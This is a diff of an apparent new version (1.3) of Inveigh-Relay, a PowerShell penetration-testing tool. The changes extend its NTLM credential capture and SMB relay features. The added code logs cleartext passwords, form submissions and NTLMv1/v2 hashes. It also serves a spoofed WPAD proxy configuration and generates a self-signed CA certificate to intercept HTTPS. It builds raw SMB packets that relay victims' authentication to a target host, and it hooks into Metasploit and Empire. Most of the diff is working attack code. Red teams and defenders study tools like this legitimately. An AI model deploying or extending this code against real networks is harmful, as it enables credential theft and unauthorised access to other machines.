-SMBRelayTarget if enabling -SMBRelay" +$inveigh_version = "1.3" + +if($ProxyIP -eq '0.0.0.0') +{ + $proxy_WPAD_IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) } -if(!$SMBRelayCommand) -{ - throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" -} - -if(!$OutputDir) +if(!$FileOutputDirectory) { $output_directory = $PWD.Path } else { - $output_directory = $OutputDir + $output_directory = $FileOutputDirectory } if(!$inveigh) { $global:inveigh = [HashTable]::Synchronized(@{}) + $inveigh.cleartext_list = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = New-Object System.Collections.ArrayList $inveigh.log = New-Object System.Collections.ArrayList $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList - $inveigh.cleartext_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = New-Object System.Collections.ArrayList + $inveigh.POST_request_list = New-Object System.Collections.ArrayList $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList + $inveigh.valid_host_list = New-Object System.Collections.ArrayList } -if($inveigh.HTTP_listener.IsListening) +if($inveigh.relay_running) { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() + Write-Output "Error:Invoke-InveighRelay is already running, use Stop-Inveigh" + throw } if(!$inveigh.running) { + $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList $inveigh.console_queue = New-Object System.Collections.ArrayList - $inveigh.status_queue = New-Object System.Collections.ArrayList + $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList - $inveigh.certificate_application_ID = $HTTPSCertAppID - $inveigh.certificate_thumbprint = $HTTPSCertThumbprint - $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList - $inveigh.console_output = $false + $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList + $inveigh.status_queue = New-Object System.Collections.ArrayList $inveigh.console_input = $true + $inveigh.console_output = $false $inveigh.file_output = $false + $inveigh.HTTPS_existing_certificate = $false + $inveigh.HTTPS_force_certificate_delete = $false + $inveigh.log_output = $true + $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" - $Inveigh.challenge = $Challenge + $inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt" +} + +if($StartupChecks -eq 'Y') +{ + + $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} + + if($HTTP -eq 'Y') + { + $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " + } + + if($HTTPS -eq 'Y') + { + $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " + } + + if($Proxy -eq 'Y') + { + $proxy_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " + } + } $inveigh.relay_running = $true -$inveigh.SMB_relay_active_step = 0 $inveigh.SMB_relay = $true if($StatusOutput -eq 'Y') @@ -206,7 +316,7 @@ else $inveigh.output_stream_only = $false } -if($Tool -eq 1) # Metasploit Interactive Powershell +if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension { $inveigh.tool = 1 $inveigh.output_stream_only = $true @@ -218,9 +328,30 @@ elseif($Tool -eq 2) # PowerShell Empire $inveigh.tool = 2 $inveigh.output_stream_only = $true $inveigh.console_input = $false - $inveigh.newline = "`n" - $ConsoleOutput = "Y" + $inveigh.newline = "" + $LogOutput = "N" $ShowHelp = "N" + + switch ($ConsoleOutput) + { + + 'Low' + { + $ConsoleOutput = "Low" + } + + 'Medium' + { + $ConsoleOutput = "Medium" + } + + default + { + $ConsoleOutput = "Y" + } + + } + } else { @@ -229,63 +360,166 @@ else } # Write startup messages -if(!$inveigh.running) -{ - $inveigh.status_queue.Add("Inveigh Relay started at $(Get-Date -format 's')") > $null - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay started")]) > $null +$inveigh.status_queue.Add("Inveigh Relay $inveigh_version started at $(Get-Date -format 's')") > $null - if($HTTP -eq 'Y') +if($FileOutput -eq 'Y') +{ + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay $inveigh_version started") > $null +} + +if($LogOutput -eq 'Y') +{ + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay started") > $null + $inveigh.log_output = $true +} +else +{ + $inveigh.log_output = $false +} + +if($firewall_status) +{ + $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null + + $firewall_rules = New-Object -comObject HNetCfg.FwPolicy2 + $firewall_powershell = $firewall_rules.rules | Where-Object {$_.Enabled -eq $true -and $_.Direction -eq 1} |Select-Object -Property Name | Select-String "Windows PowerShell}" + + if($firewall_powershell) { - $inveigh.HTTP = $true - $inveigh.status_queue.Add("HTTP Capture Enabled") > $null + $inveigh.status_queue.Add("Windows Firewall - PowerShell.exe = Allowed") > $null + } + +} + +if($HTTP -eq 'Y') +{ + + if($HTTP_port_check) + { + $HTTP = "N" + $inveigh.status_queue.Add("HTTP Capture/Relay Disabled Due To In Use Port $HTTPPort") > $null } else { - $inveigh.HTTP = $false - $inveigh.status_queue.Add("HTTP Capture Disabled") > $null + $inveigh.status_queue.Add("HTTP Capture/Relay = Enabled") > $null + + if($HTTPIP) + { + $inveigh.status_queue.Add("HTTP IP Address = $HTTPIP") > $null + } + + if($HTTPPort -ne 80) + { + $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null + } } - if($HTTPS -eq 'Y') +} +else +{ + $inveigh.status_queue.Add("HTTP Capture/Relay = Disabled") > $null +} + +if($HTTPS -eq 'Y') +{ + + if($HTTPS_port_check) + { + $HTTPS = "N" + $inveigh.HTTPS = $false + $inveigh.status_queue.Add("HTTPS Capture/Relay Disabled Due To In Use Port $HTTPSPort") > $null + } + else { try { - $inveigh.HTTPS = $true - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\Inveigh.pfx") - $certificate_store.Add($certificate) - $certificate_store.Close() - $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint - $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" - $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) - & "netsh" $netsh_arguments > $null - $inveigh.status_queue.Add("HTTPS Capture Enabled") > $null + $inveigh.certificate_issuer = $HTTPSCertIssuer + $inveigh.certificate_CN = $HTTPSCertSubject + $inveigh.status_queue.Add("HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null + $inveigh.status_queue.Add("HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null + $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) + + if(!$certificate_check) + { + # credit to subTee for cert creation code https://github.com/subTee/Interceptor + $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_issuer_distinguished_name.Encode("CN=" + $inveigh.certificate_issuer, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_key = new-object -com "X509Enrollment.CX509PrivateKey" + $certificate_key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" + $certificate_key.KeySpec = 2 + $certificate_key.Length = 2048 + $certificate_key.MachineContext = 1 + $certificate_key.Create() + $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" + $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") + $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" + $certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID) + $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" + $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) + $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" + $certificate.InitializeFromPrivateKey(2,$certificate_key,"") + $certificate.Subject = $certificate_distinguished_name + $certificate.Issuer = $certificate_issuer_distinguished_name + $certificate.NotBefore = (get-date).AddDays(-271) + $certificate.NotAfter = $certificate.NotBefore.AddDays(824) + $certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId + $certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256") + $certificate.HashAlgorithm = $certificate_hash_algorithm_OID + $certificate.X509Extensions.Add($certificate_enhanced_key_usage_extension) + $certificate_basic_constraints = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" + $certificate_basic_constraints.InitializeEncode("true",1) + $certificate.X509Extensions.Add($certificate_basic_constraints) + $certificate.Encode() + $certificate_enrollment = new-object -com "X509Enrollment.CX509Enrollment" + $certificate_enrollment.InitializeFromRequest($certificate) + $certificate_data = $certificate_enrollment.CreateRequest(0) + $certificate_enrollment.InstallResponse(2,$certificate_data,0,"") + $inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) + $inveigh.HTTPS = $true + $inveigh.status_queue.Add("HTTPS Capture/Relay = Enabled") > $null + } + else + { + + if($HTTPSForceCertDelete -eq 'Y') + { + $inveigh.HTTPS_force_certificate_delete = $true + } + + $inveigh.HTTPS_existing_certificate = $true + $inveigh.status_queue.Add("HTTPS Capture = Using Existing Certificate") > $null + } + } catch { - $certificate_store.Close() - $HTTPS="N" + $HTTPS = "N" $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Install Error") > $null + $inveigh.status_queue.Add("HTTPS Capture/Relay Disabled Due To Certificate Error") > $null } } - else - { - $inveigh.status_queue.Add("HTTPS Capture Disabled") > $null - } + +} +else +{ + $inveigh.status_queue.Add("HTTPS Capture/Relay = Disabled") > $null +} + +if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') +{ if($Challenge) { - $Inveigh.challenge = $challenge $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null } if($MachineAccounts -eq 'N') { - $inveigh.status_queue.Add("Ignoring Machine Accounts") > $null + $inveigh.status_queue.Add("Machine Account Capture = Disabled") > $null $inveigh.machine_accounts = $false } else @@ -293,84 +527,169 @@ if(!$inveigh.running) $inveigh.machine_accounts = $true } - $inveigh.status_queue.Add("Force WPAD Authentication = $WPADAuth") > $null + $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null - if($ConsoleOutput -eq 'Y') - { - $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null - $inveigh.console_output = $true - } - else + if($WPADAuth -eq "NTLM") { + $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) - if($inveigh.tool -eq 1) + if($WPADAuthIgnore.Count -gt 0) { - $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output Disabled") > $null + $inveigh.status_queue.Add("WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null } } - if($FileOutput -eq 'Y') - { - $inveigh.status_queue.Add("Real Time File Output Enabled") > $null - $inveigh.status_queue.Add("Output Directory = $output_directory") > $null - $inveigh.file_output = $true - } - else - { - $inveigh.status_queue.Add("Real Time File Output Disabled") > $null - } + $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) - if($RunTime -eq 1) + if($HTTPResetDelay.Count -gt 0) { - $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null - } - elseif($RunTime -gt 1) - { - $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null + $inveigh.status_queue.Add("HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null + $inveigh.status_queue.Add("HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null } } -$inveigh.status_queue.Add("SMB Relay Enabled") > $null -$inveigh.status_queue.Add("SMB Relay Target = $SMBRelayTarget") > $null - -if($SMBRelayUsernames) +if($Proxy -eq 'Y') { - if($SMBRelayUsernames.Count -eq 1) + if($proxy_port_check) { - $inveigh.status_queue.Add("SMB Relay Username = " + $SMBRelayUsernames -join ",") > $null + $HTTP = "N" + $inveigh.status_queue.Add("Proxy Capture/Relay Disabled Due To In Use Port $ProxyPort") > $null } else { - $inveigh.status_queue.Add("SMB Relay Usernames = " + $SMBRelayUsernames -join ",") > $null + $inveigh.status_queue.Add("Proxy Capture/Relay = Enabled") > $null + $inveigh.status_queue.Add("Proxy Port = $ProxyPort") > $null + $ProxyPortFailover = $ProxyPort + 1 + $WPADResponse = "function FindProxyForURL(url,host){return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_WPAD_IP`:$ProxyPortFailover; DIRECT`";}" + $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) + + if($ProxyIgnore.Count -gt 0) + { + $inveigh.status_queue.Add("Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null + } + } } -if($SMBRelayAutoDisable -eq 'Y') +$inveigh.status_queue.Add("Relay Target = $Target") > $null + +if($Usernames) { - $inveigh.status_queue.Add("SMB Relay Auto Disable Enabled") > $null + + if($Usernames.Count -eq 1) + { + $inveigh.status_queue.Add("Relay Username = " + ($Usernames -join ",")) > $null + } + else + { + $inveigh.status_queue.Add("Relay Usernames = " + ($Usernames -join ",")) > $null + } + +} + +if($RelayAutoDisable -eq 'Y') +{ + $inveigh.status_queue.Add("Relay Auto Disable = Enabled") > $null } else { - $inveigh.status_queue.Add("SMB Relay Auto Disable Disabled") > $null + $inveigh.status_queue.Add("Relay Auto Disable = Disabled") > $null } -if($SMBRelayNetworkTimeout) +if($RelayAutoExit -eq 'Y') { - $inveigh.status_queue.Add("SMB Relay Network Timeout = $SMBRelayNetworkTimeout Seconds") > $null + $inveigh.status_queue.Add("Relay Auto Exit = Enabled") > $null +} +else +{ + $inveigh.status_queue.Add("Relay Auto Exit = Disabled") > $null +} + +if($Service) +{ + $inveigh.status_queue.Add("Relay Service = $Service") > $null +} + +if($SMB1) +{ + $inveigh.status_queue.Add("SMB Version = SMB1") > $null + $SMB_version = 'SMB1' +} + +if($ConsoleOutput -ne 'N') +{ + + if($ConsoleOutput -eq 'Y') + { + $inveigh.status_queue.Add("Real Time Console Output = Enabled") > $null + } + else + { + $inveigh.status_queue.Add("Real Time Console Output = $ConsoleOutput") > $null + } + + $inveigh.console_output = $true + + if($ConsoleStatus -eq 1) + { + $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minute") > $null + } + elseif($ConsoleStatus -gt 1) + { + $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minutes") > $null + } + +} +else +{ + + if($inveigh.tool -eq 1) + { + $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null + } + else + { + $inveigh.status_queue.Add("Real Time Console Output = Disabled") > $null + } + +} + +if($ConsoleUnique -eq 'Y') +{ + $inveigh.console_unique = $true +} +else +{ + $inveigh.console_unique = $false +} + +if($FileOutput -eq 'Y') +{ + $inveigh.status_queue.Add("Real Time File Output = Enabled") > $null + $inveigh.status_queue.Add("Output Directory = $output_directory") > $null + $inveigh.file_output = $true +} +else +{ + $inveigh.status_queue.Add("Real Time File Output = Disabled") > $null +} + +if($RunTime -eq 1) +{ + $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null +} +elseif($RunTime -gt 1) +{ + $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null } if($ShowHelp -eq 'Y') { - $inveigh.status_queue.Add("Use Get-Command -Noun Inveigh* to show available functions") > $null - $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null + $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh-Relay") > $null if($inveigh.console_output) { @@ -385,29 +704,37 @@ if($inveigh.status_output) while($inveigh.status_queue.Count -gt 0) { - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else + switch -Wildcard ($inveigh.status_queue[0]) { - switch ($inveigh.status_queue[0]) + {$_ -like "* Disabled Due To *" -or $_ -like "Run Stop-Inveigh to stop Inveigh-Relay" -or $_ -like "Windows Firewall = Enabled"} { - "Run Stop-Inveigh to stop Inveigh" + if($inveigh.output_stream_only) + { + Write-Output($inveigh.status_queue[0] + $inveigh.newline) + } + else { Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) } - default + $inveigh.status_queue.RemoveAt(0) + } + + default + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.status_queue[0] + $inveigh.newline) + } + else { Write-Output($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) } + $inveigh.status_queue.RemoveAt(0) } } @@ -419,47 +746,782 @@ if($inveigh.status_output) $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id $process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) $process_ID = $process_ID -replace "-00-00","" -[Byte[]] $inveigh.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} +[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} # Begin ScriptBlocks -# Shared Basic functions ScriptBlock +# Shared Basic Functions ScriptBlock $shared_basic_functions_scriptblock = { - function DataToUInt16($field) - { - [Array]::Reverse($field) - return [System.BitConverter]::ToUInt16($field,0) - } - function DataToUInt32($field) - { - [Array]::Reverse($field) - return [System.BitConverter]::ToUInt32($field,0) - } - - function DataLength + function DataLength2 { param ([Int]$length_start,[Byte[]]$string_extract_data) - $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) + $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + function DataLength4 + { + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0) return $string_length } function DataToString { - param ([Int]$string_length,[Int]$string2_length,[Int]$string3_length,[Int]$string_start,[Byte[]]$string_extract_data) + param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data) - $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length - 1)]) + $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)]) $string_data = $string_data -replace "-00","" $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) - return $string_extract } + } -# SMB NTLM functions ScriptBlock - function for parsing NTLM challenge/response +# Irkin Functions ScriptBlock +$irkin_functions_scriptblock = +{ + function ConvertFrom-PacketOrderedDictionary + { + param($packet_ordered_dictionary) + + ForEach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + + #NetBIOS + + function Get-PacketNetBIOSSessionService() + { + param([Int]$packet_header_length,[Int]$packet_data_length) + + [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) + $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] + + $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Message_Type",[Byte[]](0x00)) + $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Length",[Byte[]]($packet_netbios_session_service_length)) + + return $packet_NetBIOSSessionService + } + + #SMB1 + + function Get-PacketSMBHeader() + { + param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) + + $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBHeader.Add("SMBHeader_Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $packet_SMBHeader.Add("SMBHeader_Command",$packet_command) + $packet_SMBHeader.Add("SMBHeader_ErrorClass",[Byte[]](0x00)) + $packet_SMBHeader.Add("SMBHeader_Reserved",[Byte[]](0x00)) + $packet_SMBHeader.Add("SMBHeader_ErrorCode",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_Flags",$packet_flags) + $packet_SMBHeader.Add("SMBHeader_Flags2",$packet_flags2) + $packet_SMBHeader.Add("SMBHeader_ProcessIDHigh",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_Reserved2",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_TreeID",$packet_tree_ID) + $packet_SMBHeader.Add("SMBHeader_ProcessID",$packet_process_ID) + $packet_SMBHeader.Add("SMBHeader_UserID",$packet_user_ID) + $packet_SMBHeader.Add("SMBHeader_MultiplexID",[Byte[]](0x00,0x00)) + + return $packet_SMBHeader + } + + function Get-PacketSMBNegotiateProtocolRequest() + { + param([String]$packet_version) + + if($packet_version -eq 'SMB1') + { + [Byte[]]$packet_byte_count = 0x0c,0x00 + } + else + { + [Byte[]]$packet_byte_count = 0x22,0x00 + } + + $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_WordCount",[Byte[]](0x00)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_ByteCount",$packet_byte_count) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + + if($packet_version -ne 'SMB1') + { + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + } + + return $packet_SMBNegotiateProtocolRequest + } + + function Get-PacketSMBSessionSetupAndXRequest() + { + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_byte_count = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_byte_count = $packet_byte_count[0,1] + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length + 5) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_WordCount",[Byte[]](0x0c)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxBuffer",[Byte[]](0xff,0xff)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxMpxCount",[Byte[]](0x02,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_VCNumber",[Byte[]](0x01,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlobLength",$packet_byte_count) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_ByteCount",$packet_security_blob_length) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlob",$packet_security_blob) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeOS",[Byte[]](0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeLANManage",[Byte[]](0x00,0x00)) + + return $packet_SMBSessionSetupAndXRequest + } + + function Get-PacketSMBTreeConnectAndXRequest() + { + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length + 7) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_WordCount",[Byte[]](0x04)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Flags",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_PasswordLength",[Byte[]](0x01,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_ByteCount",$packet_path_length) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Password",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Tree",$packet_path) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00)) + + return $packet_SMBTreeConnectAndXRequest + } + + function Get-PacketSMBNTCreateAndXRequest() + { + param([Byte[]]$packet_named_pipe) + + [Byte[]]$packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + [Byte[]]$packet_file_name_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length - 1) + $packet_file_name_length = $packet_file_name_length[0,1] + + $packet_SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_WordCount",[Byte[]](0x18)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved2",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileNameLen",$packet_file_name_length) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateFlags",[Byte[]](0x16,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_RootFID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileAttributes",[Byte[]](0x00,0x00,0x00,0x00)) + 